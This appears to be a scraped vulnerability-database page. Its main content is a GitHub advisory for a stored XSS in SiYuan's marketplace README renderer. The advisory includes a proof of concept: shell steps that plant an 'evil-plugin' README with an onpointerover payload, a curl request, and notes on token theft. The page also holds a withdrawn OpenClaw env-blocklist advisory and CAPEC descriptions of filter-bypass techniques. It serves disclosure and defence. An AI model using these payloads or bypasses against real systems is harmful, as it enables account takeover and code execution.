"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-priv-esc-seAx6NLX"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W7CG-WHH7-XP28
Vulnerability from github – Published: 2026-07-10 19:27 – Updated: 2026-07-10 19:27Summary
renderPackageREADME in kernel/bazaar/readme.go renders a Bazaar package README from Markdown to HTML with the lute engine and SetSanitize(true). The lute sanitizer is an event-handler blocklist: allowAttr rejects only attribute names present in a fixed eventAttrs map copied from the w3schools legacy handler list.
That map omits modern event handlers. onpointerover, onpointerdown, onauxclick, onbeforetoggle, onfocusin, onanimationstart, and ontransitionend are not in the list, so the sanitizer passes them through verbatim on any tag.
The frontend assigns the rendered HTML to mdElement.innerHTML in app/src/config/bazaar.ts with no client-side DOMPurify on this path, into a normal element in the main document (no iframe, no sandbox). The kernel sends no Content-Security-Policy, X-Frame-Options, or X-Content-Type-Options header on any response, so an inline handler runs when its event fires.
The README is rendered when an Administrator opens a package in Settings → Marketplace, after the one-time marketplace trust consent. Install is not required.
Result: a third-party Bazaar package author runs JavaScript in the Administrator's authenticated SiYuan origin when the Administrator views and interacts with the package listing, and gains full control of the workspace.
Affected
siyuan-note/siyuan, <= 3.6.5 (latest release, 2026-04-21). Confirmed live-exploitable on the b3log/siyuan:v3.6.5 image; identical code on master HEAD.
Condition: the Administrator has accepted the marketplace trust consent (bazaar.trust, default false) and browses community Bazaar packages. The lute dependency pin is github.com/88250/lute v1.7.7-0.20260419134724-bb68012f231d.
Both the online browse path (getBazaarPackageREADME) and the installed-package path (getInstalledPlugin) reach the same sink.
Root cause
render/sanitizer.go:225-232 (lute): allowAttr(name) returns false only when name exists in the eventAttrs map, an attribute denylist rather than an allowlist.
render/sanitizer.go:235-334 (lute): eventAttrs is the w3schools handler list and contains no pointer, beforetoggle, focusin, animation, or transition handlers.
kernel/bazaar/readme.go:108-118: renderPackageREADME builds the engine with SetSanitize(true) and returns the HTML string to the caller.
kernel/bazaar/readme.go:48-88: GetBazaarPackageREADME renders an untrusted remote package README; kernel/api/bazaar.go exposes it at /api/bazaar/getBazaarPackageREADME (router.go:423, CheckAuth).
app/src/config/bazaar.ts:600 and :609: mdElement.innerHTML = data.preferredReadme / = response.data.html, no DOMPurify, target is a plain div.
Kernel HTTP responses carry no CSP/X-Frame-Options/X-Content-Type-Options header (live-confirmed), so an inline handler is not blocked.
Reproduction
b3log/siyuan:v3.6.5 Docker, default config, access auth code set, marketplace trust accepted.
- Place a package whose README carries a non-blocklisted handler (an online community package produces the identical render at browse time):
mkdir -p workspace/data/plugins/evil-plugin
cat > workspace/data/plugins/evil-plugin/plugin.json <<'JSON'
{"name":"evil-plugin","author":"x","version":"1.0.0","minAppVersion":"3.0.0",
"displayName":{"default":"Evil"},"description":{"default":"poc"},
"readme":{"default":"README.md"},"backends":["all"],"frontends":["all"]}
JSON
printf '<div onpointerover="alert(document.domain)">plugin description</div>\n' \
> workspace/data/plugins/evil-plugin/README.md
- Request the rendered README the way the Marketplace panel does:
curl -s -X POST http://127.0.0.1:6806/api/bazaar/getInstalledPlugin \
-H "Authorization: Token <API-TOKEN>" -H "Content-Type: application/json" \
-d '{"frontend":"all","keyword":""}'
Response data.packages[].preferredReadme contains the handler verbatim:
<div onpointerover="alert(document.domain)">plugin description</div>
A control <img src=x onerror=...> in the same README is returned HTML-escaped and inert.
- In Settings → Marketplace, open the package and move the pointer over its README.
Live-verified: the rendered HTML is assigned to mdElement.innerHTML (no CSP, no sandbox) and the onpointerover handler executes alert(document.domain) in the SiYuan origin on hover. Handlers do not auto-fire on insertion; one pointer/focus/click interaction on the listing triggers them.
Impact
- JavaScript execution in the Administrator's authenticated origin on a marketplace package view plus one hover/click/focus, no install needed.
- Theft of the kernel API token (
conf.api.token), which grants full Administrator API access. - Pivot to
installBazaarPluginand kernel control; the runtime image ships a shell. - A single malicious community package reaches every instance that views its listing.
Credit
Jan Kahmen, turingpoint (jan@turingpoint.de)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260628153353-2d5d72223df4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54070"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:27:24Z",
"nvd_published_at": "2026-06-24T22:16:48Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`renderPackageREADME` in `kernel/bazaar/readme.go` renders a Bazaar package README from Markdown to HTML with the lute engine and `SetSanitize(true)`. The lute sanitizer is an event-handler blocklist: `allowAttr` rejects only attribute names present in a fixed `eventAttrs` map copied from the w3schools legacy handler list.\n\nThat map omits modern event handlers. `onpointerover`, `onpointerdown`, `onauxclick`, `onbeforetoggle`, `onfocusin`, `onanimationstart`, and `ontransitionend` are not in the list, so the sanitizer passes them through verbatim on any tag.\n\nThe frontend assigns the rendered HTML to `mdElement.innerHTML` in `app/src/config/bazaar.ts` with no client-side DOMPurify on this path, into a normal element in the main document (no iframe, no sandbox). The kernel sends no Content-Security-Policy, X-Frame-Options, or X-Content-Type-Options header on any response, so an inline handler runs when its event fires.\n\nThe README is rendered when an Administrator opens a package in Settings \u2192 Marketplace, after the one-time marketplace trust consent. Install is not required.\n\nResult: a third-party Bazaar package author runs JavaScript in the Administrator\u0027s authenticated SiYuan origin when the Administrator views and interacts with the package listing, and gains full control of the workspace.\n\n## Affected\n\nsiyuan-note/siyuan, `\u003c= 3.6.5` (latest release, 2026-04-21). Confirmed live-exploitable on the `b3log/siyuan:v3.6.5` image; identical code on `master` HEAD.\nCondition: the Administrator has accepted the marketplace trust consent (`bazaar.trust`, default false) and browses community Bazaar packages. The lute dependency pin is `github.com/88250/lute v1.7.7-0.20260419134724-bb68012f231d`.\nBoth the online browse path (`getBazaarPackageREADME`) and the installed-package path (`getInstalledPlugin`) reach the same sink.\n\n## Root cause\n\n`render/sanitizer.go:225-232` (lute): `allowAttr(name)` returns false only when `name` exists in the `eventAttrs` map, an attribute denylist rather than an allowlist.\n`render/sanitizer.go:235-334` (lute): `eventAttrs` is the w3schools handler list and contains no pointer, beforetoggle, focusin, animation, or transition handlers.\n`kernel/bazaar/readme.go:108-118`: `renderPackageREADME` builds the engine with `SetSanitize(true)` and returns the HTML string to the caller.\n`kernel/bazaar/readme.go:48-88`: `GetBazaarPackageREADME` renders an untrusted remote package README; `kernel/api/bazaar.go` exposes it at `/api/bazaar/getBazaarPackageREADME` (`router.go:423`, `CheckAuth`).\n`app/src/config/bazaar.ts:600` and `:609`: `mdElement.innerHTML = data.preferredReadme` / `= response.data.html`, no DOMPurify, target is a plain div.\nKernel HTTP responses carry no CSP/X-Frame-Options/X-Content-Type-Options header (live-confirmed), so an inline handler is not blocked.\n\n## Reproduction\n\n`b3log/siyuan:v3.6.5` Docker, default config, access auth code set, marketplace trust accepted.\n\n1. Place a package whose README carries a non-blocklisted handler (an online community package produces the identical render at browse time):\n\n```\nmkdir -p workspace/data/plugins/evil-plugin\ncat \u003e workspace/data/plugins/evil-plugin/plugin.json \u003c\u003c\u0027JSON\u0027\n{\"name\":\"evil-plugin\",\"author\":\"x\",\"version\":\"1.0.0\",\"minAppVersion\":\"3.0.0\",\n \"displayName\":{\"default\":\"Evil\"},\"description\":{\"default\":\"poc\"},\n \"readme\":{\"default\":\"README.md\"},\"backends\":[\"all\"],\"frontends\":[\"all\"]}\nJSON\nprintf \u0027\u003cdiv onpointerover=\"alert(document.domain)\"\u003eplugin description\u003c/div\u003e\\n\u0027 \\\n \u003e workspace/data/plugins/evil-plugin/README.md\n```\n\n2. Request the rendered README the way the Marketplace panel does:\n\n```\ncurl -s -X POST http://127.0.0.1:6806/api/bazaar/getInstalledPlugin \\\n -H \"Authorization: Token \u003cAPI-TOKEN\u003e\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"frontend\":\"all\",\"keyword\":\"\"}\u0027\n```\n\nResponse `data.packages[].preferredReadme` contains the handler verbatim:\n\n```\n\u003cdiv onpointerover=\"alert(document.domain)\"\u003eplugin description\u003c/div\u003e\n```\n\nA control `\u003cimg src=x onerror=...\u003e` in the same README is returned HTML-escaped and inert.\n\n3. In Settings \u2192 Marketplace, open the package and move the pointer over its README.\n\nLive-verified: the rendered HTML is assigned to `mdElement.innerHTML` (no CSP, no sandbox) and the `onpointerover` handler executes `alert(document.domain)` in the SiYuan origin on hover. Handlers do not auto-fire on insertion; one pointer/focus/click interaction on the listing triggers them.\n\n## Impact\n\n- JavaScript execution in the Administrator\u0027s authenticated origin on a marketplace package view plus one hover/click/focus, no install needed.\n- Theft of the kernel API token (`conf.api.token`), which grants full Administrator API access.\n- Pivot to `installBazaarPlugin` and kernel control; the runtime image ships a shell.\n- A single malicious community package reaches every instance that views its listing.\n\n## Credit\n\nJan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de)",
"id": "GHSA-w7cg-whh7-xp28",
"modified": "2026-07-10T19:27:25Z",
"published": "2026-07-10T19:27:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-w7cg-whh7-xp28"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54070"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "SiYuan: Stored XSS in Bazaar marketplace via package README event handlers"
}
GHSA-WCM7-94WG-H74H
Vulnerability from github – Published: 2026-04-24 00:31 – Updated: 2026-05-04 21:54Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-6p8r-6m93-557f. This link is maintained to preserve external references.
Original Description
OpenClaw before 2026.3.28 contains an environment variable sanitization vulnerability where GIT_TEMPLATE_DIR and AWS_CONFIG_FILE are not blocked in the host-env blocklist. Attackers can exploit approved exec requests to redirect git or AWS CLI behavior through attacker-controlled configuration files to execute untrusted code or load malicious credentials.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.28"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T21:54:39Z",
"nvd_published_at": "2026-04-23T22:16:38Z",
"severity": "MODERATE"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-6p8r-6m93-557f. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.3.28 contains an environment variable sanitization vulnerability where GIT_TEMPLATE_DIR and AWS_CONFIG_FILE are not blocked in the host-env blocklist. Attackers can exploit approved exec requests to redirect git or AWS CLI behavior through attacker-controlled configuration files to execute untrusted code or load malicious credentials.",
"id": "GHSA-wcm7-94wg-h74h",
"modified": "2026-05-04T21:54:39Z",
"published": "2026-04-24T00:31:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-m866-6qv5-p2fg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41332"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-code-execution-via-missing-environment-variable-blocklist"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: OpenClaw host-env blocklist missing `GIT_TEMPLATE_DIR` and `AWS_CONFIG_FILE` allows code execution via env override",
"withdrawn": "2026-05-04T21:54:39Z"
}
Mitigation
Strategy: Input Validation
Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
CAPEC-120: Double Encoding
The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-182: Flash Injection
An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.
CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters
Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-71: Using Unicode Encoding to Bypass Validation Logic
An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.